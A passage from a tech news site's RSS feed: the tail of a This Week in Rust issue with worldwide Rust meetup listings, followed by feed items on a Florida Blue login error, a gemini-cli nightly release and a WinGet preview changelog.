  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fix Florida Blue Error Code 5000 on App and Website]]></title>
<description><![CDATA[Key TakeawaysFlorida Blue Error Code 5000 can stop users from logging in or accessing their insurance details through the website or app, and this problem is typically due to technical or session issues, not a fault with your insurance policy itself.The error often arises because of temporary ser...]]></description>
<link>https://tsecurity.de/de/3688056/it-security-nachrichten/fix-florida-blue-error-code-5000-on-app-and-website/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688056/it-security-nachrichten/fix-florida-blue-error-code-5000-on-app-and-website/</guid>
<pubDate>Thu, 23 Jul 2026 07:17:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Key TakeawaysFlorida Blue Error Code 5000 can stop users from logging in or accessing their insurance details through the website or app, and this problem is typically due to technical or session issues, not a fault with your insurance policy itself.The error often arises because of temporary server issues, expired login sessions, or problems with […]</p>
<p>The post <a href="https://itechhacks.com/florida-blue-error-code-5000/" data-wpel-link="internal">Fix Florida Blue Error Code 5000 on App and Website</a> appeared first on <a href="https://itechhacks.com/" data-wpel-link="internal">iTech Hacks</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260723.g9681621c6]]></title>
<description><![CDATA[What's Changed

fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by @luisfelipe-alt in #28472
feat(evals): add eval coverage report command by @ved015 in #28169

Full Changelog: v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g96...]]></description>
<link>https://tsecurity.de/de/3687851/downloads/release-v0520-nightly20260723g9681621c6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687851/downloads/release-v0520-nightly20260723g9681621c6/</guid>
<pubDate>Thu, 23 Jul 2026 03:47:23 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935978236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28472" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28472/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28472">#28472</a></li>
<li>feat(evals): add eval coverage report command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ved015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ved015">@ved015</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756850004" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28169" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28169/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28169">#28169</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g9681621c6"><tt>v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g9681621c6</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.30.70-preview]]></title>
<description><![CDATA[This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.
New in v1.30
Nothing yet.
Bug Fixes

Fixe...]]></description>
<link>https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687716/downloads/windows-package-manager-13070-preview/</guid>
<pubDate>Thu, 23 Jul 2026 00:42:00 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.30</h2>
<p>Nothing yet.</p>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed a crash (<code>0x8000ffff</code>) when using <code>--disable-interactivity</code> with the Resume experimental feature enabled during install operations.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565579611" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6262" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6262/hovercard" href="https://github.com/microsoft/winget-cli/pull/6262">#6262</a></li>
<li>Remove old Store certs, replace test use with generated ones by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626150885" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6275" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6275/hovercard" href="https://github.com/microsoft/winget-cli/pull/6275">#6275</a></li>
<li>Add .gitattributes and normalize line endings across repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li>Renormalize by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4633514887" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6276" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6276/hovercard" href="https://github.com/microsoft/winget-cli/pull/6276">#6276</a></li>
<li>Change event type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615424908" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6273" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6273/hovercard" href="https://github.com/microsoft/winget-cli/pull/6273">#6273</a></li>
<li>Update minor version, archive release notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642943454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6279" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6279/hovercard" href="https://github.com/microsoft/winget-cli/pull/6279">#6279</a></li>
<li>Align .gitattributes and .editorconfig by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668279620" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6285" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6285/hovercard" href="https://github.com/microsoft/winget-cli/pull/6285">#6285</a></li>
<li>Doc manifest schema process by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643557474" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6280" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6280/hovercard" href="https://github.com/microsoft/winget-cli/pull/6280">#6280</a></li>
<li>Fix crash with --disable-interactivity and EFResume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703166998" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6302" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6302/hovercard" href="https://github.com/microsoft/winget-cli/pull/6302">#6302</a></li>
<li>Fix configuration elevation validation for standard flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4708403993" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6307" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6307/hovercard" href="https://github.com/microsoft/winget-cli/pull/6307">#6307</a></li>
<li>Bump markdown-it from 14.1.1 to 14.2.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686342275" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6296" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6296/hovercard" href="https://github.com/microsoft/winget-cli/pull/6296">#6296</a></li>
<li>Bump undici from 7.25.0 to 7.28.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4705714856" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6305" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6305/hovercard" href="https://github.com/microsoft/winget-cli/pull/6305">#6305</a></li>
<li>Bump form-data from 4.0.5 to 4.0.6 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710948701" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6311" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6311/hovercard" href="https://github.com/microsoft/winget-cli/pull/6311">#6311</a></li>
<li>Clean vcpkg artifacts on solution clean by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754061053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6339" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6339/hovercard" href="https://github.com/microsoft/winget-cli/pull/6339">#6339</a></li>
<li>Fix punctuation in error messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
<li>Fix cpprest checked iterator build error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703039819" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6301" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6301/hovercard" href="https://github.com/microsoft/winget-cli/pull/6301">#6301</a></li>
